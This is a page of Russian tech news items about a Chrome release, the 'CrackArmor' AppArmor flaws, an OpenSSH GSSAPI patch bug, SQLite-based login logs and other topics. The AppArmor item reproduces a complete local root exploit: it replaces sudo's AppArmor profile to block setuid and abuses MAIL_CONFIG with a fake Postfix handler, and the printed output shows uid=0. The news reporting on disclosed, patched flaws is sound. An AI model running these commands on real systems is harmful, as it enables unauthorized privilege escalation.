  • В режиме "Origin trials" добавлен атрибут "focusgroup", позволяющий вместо табуляции использовать клавиши управления курсором для перемещения между кнопками или другими элементами, связанными с переключением фокуса.
  • Внесены улучшения в инструменты для web-разработчиков. В web-консоли обеспечено сохранение результатов редактирования команд при навигации по истории операций. В панели Elements реализовано отображение CSS-стилей, добавленных программно к Shadow DOM, через отдельный узел "#adopted-style-sheets" в дереве DOM, по аналогии с просмотром и редактированием стилей, определённых через тег <style>.

Кроме нововведений и исправления ошибок в новой версии устранено 29 уязвимостей. Многие из уязвимостей выявлены в результате автоматизированного тестирования инструментами AddressSanitizer, MemorySanitizer, Control Flow Integrity, LibFuzzer и AFL. Одной из проблем (переполнение буфера в WebML) присвоен критический уровень опасности, подразумевающий, что уязвимость позволяет обойти все уровни защиты браузера и выполнить код в системе за пределами sandbox-окружения. В рамках программы по выплате денежного вознаграждения за обнаружение уязвимостей для текущего релиза компания Google учредила 29 премий и выплатила 211 тысяч долларов США, что стало рекордом по размеру выплат в рамках одного релиза (две премии $43000, по одной премии в $36000, $33000, $11000 и $7000, по две премии в $10000 и $3000, по 4 премии в $2000 и $1000). Размер 12 вознаграждений пока не определён.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск Chrome 145
  3. OpenNews: Chrome переходит на двухнедельный цикл подготовки релизов
  4. OpenNews: Инструментарий для удаления избыточной функциональности из Chrome, Edge и Firefox
  5. OpenNews: Chrome 154 начнёт запрашивать подтверждение при открытии сайтов без HTTPS
  6. OpenNews: Google представил AI-возможности Chrome
Обсуждение (67 +1) | Тип: Программы |


·13.03 Уязвимости в AppArmor, позволяющие получить root-доступ в системе (103 +27)
  Компания Qualys выявила 9 уязвимостей в системе мандатного управления доступом AppArmor, наиболее опасные из которых позволяют локальному непривилегированному пользователю получить права root в системе, выйти из изолированных контейнеров и обойти ограничения, заданные через AppArmor. Уязвимости получили кодовое имя CrackArmor. CVE-идентификаторы пока не назначены. Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13.

Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11, выпущенного в 2017 году, и проявляются в дистрибутивах, использующих AppArmor, таких как Ubuntu, Debian, openSUSE и SUSE (начиная с openSUSE/SUSE 16 по умолчанию задействован SELinux, но AppArmor оставлен в качестве опции). Патчи с устранением уязвимостей переданы разработчикам ядра Linux и в ближайшие дни будут предложены пользователям в составе обновлений 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 и 5.10.253. Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu. Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и util-linux (в состав входит утилита su), в которых устранены недоработки, позволявшие эксплуатировать уязвимость в AppArmor. В Debian обновление в процессе подготовки.

Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor. Данная уязвимость напрямую может использоваться для отключения защиты программ и сервисов от локальных и удалённых атак (через запись псевдофайлов /sys/kernel/security/apparmor/.load, .replace и .remove, например, для снятия ограничений в cupsd и rsyslogd), вызова отказа в обслуживании (через применение запрещающих профилей) и обхода ограничений пространств имён (через загрузку нового AppArmor-профиля "userns", например, для /usr/bin/time, позволяющего создавать неограниченные user namespace).

Возможность замены профилей AppArmor также позволяет добиться получения root-привилегий через привязку к привилегированным утилитам, таким как su и sudo, новых профилей, блокирующих доступ к некоторым системным вызовам. В частности, права root можно получить блокировав операцию setuid (CAP_SETUID) для утилиты sudo в сочетании с манипуляцией переменной окружения MAIL_CONFIG для смены каталога с настройками для почтового сервера Postfix.

Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.


   $ mkdir /tmp/postfix

   $ cat > /tmp/postfix/main.cf << "EOF"
   command_directory = /tmp/postfix
   EOF

   $ cat > /tmp/postfix/postdrop << "EOF"
   #!/bin/sh
   /usr/bin/id >> /tmp/postfix/pwned
   EOF

   $ chmod -R 0755 /tmp/postfix

   $ apparmor_parser -K -o sudo.pf << "EOF"
   /usr/bin/sudo {
     allow file,
     allow signal,
     allow network,
     allow capability,
     deny capability setuid,
   }
   EOF

  $ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
   Password: 

  $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever

   sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
   sudo: unable to open /etc/sudoers: Operation not permitted
   sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
   sudo: error initializing audit plugin sudoers_audit

   $ cat /tmp/postfix/pwned
   uid=0(root) gid=1001(jane) groups=1001(jane),100(users)

В качестве других способов повышения привилегий упоминаются уязвимости в коде AppArmor, работающем на уровне ядра Linux. Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free) в коде загрузки и замены профилей AppArmor. Например, AppArmor сохраняет профиль в структуре aa_loaddata, память для которой выделяется в slab-кэше kmalloc-192, при этом из-за состояния гонки не исключено обращение к памяти, которую занимала структура, после её освобождения. Данную проблему можно использовать для получения контроля над освобожденной памятью и перераспределения освобождённой страницы памяти для маппинга содержимого файла /etc/passwd и перезаписи строки с паролем root.

  1. Главная ссылка к новости
  2. OpenNews: AppArmor и Yama будут включены в Linux-ядро 2.6.36
  3. OpenNews: Root-уязвимость в инструментарии управления пакетами Snap
  4. OpenNews: Уязвимости в PAM и libblockdev, позволяющие получить права root в системе
  5. OpenNews: Уязвимость в Glibc ld.so, позволяющая получить права root в большинстве дистрибутивов Linux
  6. OpenNews: Выявлена возможность обхода ограничений доступа к "user namespace" в Ubuntu
Обсуждение (103 +27) | Тип: Проблемы безопасности |


·13.03 Уязвимость в GSSAPI-патче к OpenSSH, удалённо эксплуатируемая на стадии до аутентификации (78 +9)
  В применяемом во многих дистрибутивах Linux патче gssapi.patch, добавляющем в OpenSSH поддержку обмена ключей на базе GSSAPI, выявлена уязвимость (CVE-2026-3497), приводящая к разыменованию указателя, повреждению памяти и обходу механизма разделения привилегий (Privsep). Уязвимость может быть эксплуатирована удалённо на стадии до осуществления аутентификации. Выявивший проблему исследователь продемонстрировал инициирование аварийного завершения процесса через отправку на SSH-сервер одного модифицированного сетевого пакета. Не исключается, что помимо отказа в обслуживании, существуют более опасные варианты эксплуатации уязвимости.

Примечательно, что в своё время разработчики OpenSSH отказались принимать в основной состав изменение для поддержки GSSAPI из-за сомнений в его безопасности. При этом многие дистрибутивы Linux включили данный патч в свои пакеты c OpenSSH. В обиходе встречается несколько версий GSSAPI-патча, но в большинстве из них имеется приводящая к уязвимости ошибка. Исправление пока доступно только в форме патча, изменения в котором сводятся к замене вызова функции sshpkt_disconnect() на ssh_packet_disconnect() в файле kexgsss.c.

В настоящее время наличие уязвимости подтверждено в Debian и Ubuntu. В остальных дистрибутивах применение проблемного патча и его подверженность уязвимости уточняется (SUSE/openSUSE, RHEL, Gentoo, Arch, Fedora). Уязвимость проявляется только при включении в настройках опции "GSSAPIKeyExchange yes". На возможность эксплуатации также влияют опции компилятора с которыми в дистрибутивах собран пакет.

Причиной возникновение уязвимости является ошибка в функции sshpkt_disconnect(), из-за которой процесс не завершался после поступления disconnect-сообщения, что позволяло атакующему на стадии согласования ключей отправить не предусмотренный логикой работы сервера тип GSSAPI-сообщения. После поступления внепланового GSSAPI-сообщения, сервер помещает его в очередь и не прерывает выполнение программы, но при этом не инициализирует переменные, определяющие параметры соединения. В дальнейшем в цикле обработки событий выполняется код, который читает неинициализированную структуру recv_tok из стека (читаются данные, оставшиеся в стеке от прошлого вызова функции), отправляет её привилегированному процессу через IPC и затем передаёт в функцию gss_release_buffer(), которая может вызвать функцию free() и освободить память для некорректного указателя, ссылающегося на случайную область памяти.

  1. Главная ссылка к новости
  2. OpenNews: Уязвимости в Samba, приводящие к переполнению буфера и выходу за границу базового каталога
  3. OpenNews: Обновление DNS-сервера BIND c устранением уязвимости, допускающей удалённое выполнение кода
  4. OpenNews: Пример анализа потенциально серьезной уязвимости в OpenSSH
  5. OpenNews: Уязвимость в поставляемом во FreeBSD варианте OpenSSH, допускающая удалённое выполнение кода
  6. OpenNews: Уязвимость в пакетах с OpenSSH из состава RHEL 9, допускающая удалённое выполнение кода
Обсуждение (78 +9) | Тип: Проблемы безопасности |


·13.03 Предложение по переводу системных логов lastlog, btmp, utmp и wtmp на использование SQLite (222 +20)
  В списке рассылки linux-api выставлено на обсуждение предложение (RFC) заменить устаревшие реализации бинарных форматов системных журналов lastlog, btmp, utmp и wtmp на новые разделяемые библиотеки, использующие SQLite в качестве бэкенда. Инициатива направлена на решение накопившихся проблем, среди которых переполнение 32-разрядных счётчиков времени в 2038 году, отсутствие расширяемости, низкая производительность запросов и отсутствие атомарности при записи.

В настоящее время для хранения данных о сеансах и попытках аутентификации в Linux используются следующие бинарные файлы, имеющие фиксированную структуру:

  • /var/log/lastlog - время последнего входа (структура "struct lastlog" с полем "ll_time" 32-разрядного типа time_t);
  • /var/log/btmp - неудачные попытки входа;
  • /var/run/utmp - текущие сеансы;
  • /var/log/wtmp - история входов и выходов.

Формат данных файлов был разработан несколько десятилетий назад и имеет ряд фундаментальных ограничений:

  • Поле "tv_sec" в структуре "utmpx" и поле "ll_time" в "lastlog" имеют тип "int32_t", значение счётчиков времени на основе которого переполнится 19 января 2038 года. Из-за требований ABI‑совместимости даже на 64-разрядных системах эти поля остаются 32-разрядными, поэтому проблема затронет все установки Linux.
  • Фиксированный размер записей не позволяет добавлять новые поля (например, идентификатор контейнера, имя сервиса, IP-адрес) без полной замены формата и перекомпиляции всех утилит.
  • Утилиты last, lastb, who и lastlog вынуждены линейно перебирать содержимое файлов. При большом размере журналов без использования индексов, позволяющих эффективно фильтровать записи, нагрузка на систему ввода/вывода и задержки при выполнении запросов становятся неприемлемыми.
  • Запись в бинарный файл не является атомарной операцией. При сбое запись может быть частично повреждена.
  • Для исключения конфликтов при одновременной записи в журнал несколькими процессами (например, sshd и login) используются flock-блокировки, которые не гарантируют атомарность и могут приводить к взаимным блокировкам.

Автор RFC предлагает полностью отказаться от бинарных форматов в пользу специализированных разделяемых библиотек, использующих SQLite. Для каждого типа журналов создаётся отдельная библиотека с единообразным C-интерфейсом: liblastlog2, libbtmp2, libutmp2 и libwtmp2. Все библиотеки работают с БД, схема которых включает 64-разрядные временные метки (тип INTEGER) и индексы по пользователю и времени. Имеется возможность добавления новых полей без нарушения совместимости (через ALTER TABLE).

Среди доводов в пользу использования SQLite упоминается использование 64-разрядного типа INTEGER для хранения эпохального времени, задействование индексов для снижения ввода/вывода за счёт выборочного обращения к записями вместо полного сканирования, возможность добавления новых полей без изменения существующих записей, поддержка ACID-транзакций, режим WAL (Write-Ahead Logging) для конкурентного доступа без блокировок, проверенная надёжность работы SQLite.

Для обеспечения плавного перехода предлагается стратегия "двойной записи" (dual-write):

  • Программы, которые пишут в бинарные файлы (login, sshd, sudo, cron и др.), модифицируются так, чтобы одновременно выполнять запись и в старый бинарный файл, и в новую SQLite-базу через соответствующую библиотеку.
  • Разрабатываются новые версии утилит (last2, lastb2, who2, lastlog2), которые читают данные из SQLite-баз, используя индексы для быстрой работы. Старые утилиты продолжают работать с прежними файлами.
  • Через несколько лет, когда подавляющее большинство систем обновятся, поддержка записи в старые форматы может быть отключена, а старые утилиты - объявлены устаревшими.

Вопросы, выставленные для дополнительного обсуждения:

  • Целесообразность разделения на отдельные библиотеки или объединения в одну (например, libsession2).
  • Выбор имён для библиотек и утилит (сохранить исторические названия или перейти к более общим).
  • Расположение файлов баз данных (/var/lib/ как для состояния приложений или /var/log/ как для логов).
  • Механизм версионирования схемы и миграции.
  • Параметры производительности SQLite для различных сценариев (серверы, встраиваемые системы).
  • Предоставление fallback-бэкенда, хранящего журналы в упрощённом бинарном формате, для систем, на которых SQLite может оказаться избыточным (например, встраиваемые устройства с жёсткими ограничениями по памяти).

  1. Главная ссылка к новости
  2. OpenNews: Для избавления Glibc от проблемы 2038 года предложено прекратить использование utmp
  3. OpenNews: Уязвимость в SQLite, позволяющая удалённо атаковать Chrome через WebSQL
  4. OpenNews: Проект Redka развивает реализацию протокола и API Redis поверх SQLite
  5. OpenNews: Эксперимент с использованием SQLite в качестве контейнера для архивирования файлов
  6. OpenNews: Google использовал большую языковую модель для выявления уязвимости в SQLite
Обсуждение (222 +20) | Автор: Аноним | Тип: Тема для размышления |


·12.03 В 2025 году Google выплатил 17.1 млн долларов вознаграждений за выявление уязвимостей (38 +6)
  Компания Google подвела итоги программы выплаты вознаграждений за выявление уязвимостей в Chrome, Android, приложениях Google Play, продуктах Google и различном открытом ПО. Общая сумма выплаченных в 2025 году вознаграждений составила 17.1 млн долларов, что на $5.3 млн больше, чем в 2024 году и на $7.1 млн больше, чем в 2023 году. Вознаграждения получили 747 исследователей (в 2024 году - 660, в 2023 - 632). С 2010 года суммарный размер выплат составил 81.6 млн долларов.

Из потраченной в 2025 году суммы $2.9 млн (в 2024 году $3.3 млн, в 2023 - $3.4 млн) выплачено за уязвимости в Android. За информацию об уязвимостях в браузере Chrome выплачено 100 премий на общую сумму $3.7 млн (в 2024 году $2.1 млн, в 2023 - $3.5 млн). За уязвимости в открытых проектах выплачены 62 премии на сумму 327 тысяч долларов. За уязвимости в облачных продуктах Google выплачено 143 премии на сумму $3.5 млн. За уязвимости в AI-продуктах выплачено 890 тысяч долларов.

Размер самой большой единичной выплаты составил 250 тысяч долларов за обнаружение логической ошибки в IPC-механизме Chrome, позволившей создать эксплоит для выполнения кода в обход применяемой в браузере sandbox-изоляции.

  1. Главная ссылка к новости
  2. OpenNews: Google отключил поддержку io_uring в ChromeOS и Android из-за плачевного состояния безопасности
  3. OpenNews: Google учредил команду для помощи открытым проектам в усилении безопасности
  4. OpenNews: Google занялся продвижением средств безопасной работы с памятью в открытом ПО
  5. OpenNews: В 2024 году Google выплатил 11.8 млн долларов вознаграждений за выявление уязвимостей
  6. OpenNews: Google меняет политику публикации исправлений уязвимостей в Android
Обсуждение (38 +6) | Тип: Программы |


·12.03 Главный разработчик Lutris прокомментировал появление в проекте кода, созданного через AI (212 –2)
  Основатель и основной разработчик игровой платформы Lutris, предоставляющей инструменты для упрощения установки, настройки и управления играми в Linux, прокомментировал принятие в кодовую базу проекта изменений, сгенерированных большими языковыми моделями. Разработчик заявил, что использование AI является проблемой только если человек не знает, что делает, или использует AI-инструменты низкого качества.

По словам создателя Lutris, несколько месяцев назад AI-инструментарий Claude стал генерировать вполне достойный код и благодаря AI удалось сделать всё, что было упущено в прошлом году из-за проблем со здоровьем и депрессии. Он также заявил, что предполагал возможный негатив в отношении появления изменений, подготовленных с использованием AI, и поэтому несколько дней назад удалил упоминание о соавторстве Claude из коммитов и пожелал удачи в попытках определить, что было сгенерировано AI, а что - нет.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск Lutris 0.5.20 и Bottles 0.62, платформ для упрощения запуска игр в Linux
  3. OpenNews: Сопровождающие Godot перегружены из-за обилия сомнительных изменений, созданных с помощью AI
  4. OpenNews: Компоненты браузера Ladybird начали переписывать на Rust при помощи AI
  5. OpenNews: Эксперименты с использованием AI для улучшения кода BIND 9 и переработки Next.js
  6. OpenNews: Переписывание кода при помощи AI для перелицензирования открытых проектов
Обсуждение (212 –2) | Автор: Аноним | Тип: К сведению |


·12.03 Энтузиасты создали do-нотацию для C++ (121 +12)
  Энтузиасты написали собственный DSL на макросах, который работает как do-нотация из функциональных языков. Используются продвинутые возможности препроцессора. В представленном проекте реализована новая техника для парсинга DSL, что может поспособствовать созданию дальнейших DSL на препроцессоре C и C++. Код в репозитории написан на C++23 и открыт под лицензией MIT, а сама техника может быть использована и просто в си-препроцессоре.


   // Без DSL:
   auto result = bind(mx, [&](auto x) {
     return bind(my, [&](auto y) {
       return make_value(x, y);
     });
   });
   
   // С DSL:
   auto result = DO(
     LET x IS(mx);
     LET y IS(my);
     return make_value(x, y);
   );

Дополнение: Принцип работы DSL в разрезании потока на токены. "LET name IS(value)" раскрывается в "), _LET_IS(name, (value)), _CODE(". Таким образом, весь код оказывается в блоках "_CODE", а "LET IS" и прочее выходят как метки. Дальше нужно лишь пройтись по всем меткам и обработать. В DSL поддерживаются циклы (WHILE, BREAK, CONTINUE) и ветвления (IF). Циклы работают через рекурсию. Внутри таких блоков кода можно использовать другие блоки (IF, WHILE, LET IS).

  1. Главная ссылка к новости
  2. OpenNews: Выпуск языка программирования Nim 2.2.8
  3. OpenNews: Выпуск компилятора языка D 2.112
  4. OpenNews: Программно-аппаратная платформа CHERIoT 1.0 для повышения безопасности кода на языке Си
  5. OpenNews: Доступен язык программирования OCaml 5.4.0
Обсуждение (121 +12) | Автор: Аноним | Тип: К сведению |


·12.03 Компания Igalia представила Moonforge, дистрибутив для встраиваемых систем (11 +8)
  Компания Igalia, известная своим участием в разработке таких свободных проектов, как GNOME, GTK, WebKitGTK, Epiphany, Maemo, GStreamer, Wine, Mesa и freedesktop.org, представила проект Moonforge, упрощающий создание и сопровождение собственных Linux-дистрибутивов для различных устройств и встраиваемых систем. Начинка дистрибутива формируется на основе сборочного инструментария и метаданных пакетов от проектов OpenEmbedded и Yocto. Специфичные для проекта наработки распространяются под лицензией MIT.

Moonforge предоставляет разработчикам и системным интеграторам каркас, набор файлов конфигурации и коллекцию компонентов для формирования атомарно обновляемых системных образов, основанных на применении уже проверенных и распространённых в индустрии технологий, таких как yocto, bitbake и kas. Для сформированных образов поддерживается упрощённый процесс установки обновлений и обеспечивается длительный цикл сопровождения. Основная цель проекта - предоставить разработчикам встраиваемых систем удобный инструментарий, дающий возможность сосредоточиться на развитии специфичной для их продукта функциональности и не тратить время на задачи, связанные с формированием и поддержанием дистрибутива.

Системный образ компонуется из набора готовых модулей Yocto. Каждый модуль отвечает за определённую возможность или поддержку конкретной целевой аппаратной платформы. Например, предлагаются модули для поддержки Docker, QEMU или Podman, управления обновлениями через RAUC, формирования графического интерфейса на базе композитного сервера Weston, запуска браузерного интерфейса на базе Webkit для интернет-киосков и сборки для плат Raspberri Pi 4 и 5.

Поддерживается три канала распространения релизов: stable (стабильная LTS-ветка), next (ветка, в которой развивается следующий LTS-релиз) и main (экспериментальная ветка, в которой ведётся разработка). Каждая ветка привязана к своей версии набора компонентов Yocto. Стабильная ветка обновляется раз в месяц и соответствует LTS-релизам Yocto.

Обновления доставляются в режиме OTA (Over-The-Air) с использованием инструментария Mender и устанавливаются атомарно через замену целиком всей системы. На накопителе создаётся два идентичных корневых раздела - активный и пассивный. Новое обновление устанавливается в пассивный раздел, никак не влияя на работу активного. После перезагрузки разделы меняются местами - раздел с новым обновлением становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. Если после обновления что-то пошло не так, осуществляется откат на прошлый вариант системы.

Для создания системных образов используется инструментарий BitBake, а для формирования конфигурации и обеспечения воспроизводимых сборок - kas. Сборки, обновления, отчёты об уязвимостях и метаданные SBOM (Software Bill of Materials) автоматически собираются и публикуются с использованием систем непрерывной интеграции и непрерывного развёртывания (CI/CD). Сборочная инфраструктура на базе Moonforge может быть развёрнута как на локальных серверах, так и в публичных или приватных облачных окружениях.

Для прозрачности и предсказуемости процессов создания производных продуктов в дистрибутиве применяется жёсткое разделение между upstream- и downstream-компонентами, позволяющее разработчикам при необходимости добавлять дополнительную функциональность поверх базовой начинки. Конфигурация определяется в декларативном представлении, используя формат YAML, и охватывает такие области как подключение внешних репозиториев, активация модулей Yocto, управление зависимостями между компонентами дистрибутива, применение дополнительных патчей и изменение применяемых по умолчанию системных настроек.

  1. Главная ссылка к новости
  2. OpenNews: Компания Collabora представила Apertis 2024.3, дистрибутив для электронных устройств
  3. OpenNews: Дистрибутив Chimera Linux, сочетающий ядро Linux с окружением FreeBSD
  4. OpenNews: Доступен Oryx Linux, новый дистрибутив для встраиваемых систем
  5. OpenNews: Выпуск дистрибутива для мобильных телефонов NemoMobile 0.7
  6. OpenNews: Доступен дистрибутив Amazon Linux 2023
Обсуждение (11 +8) | Тип: Программы | Интересно


Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2026 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру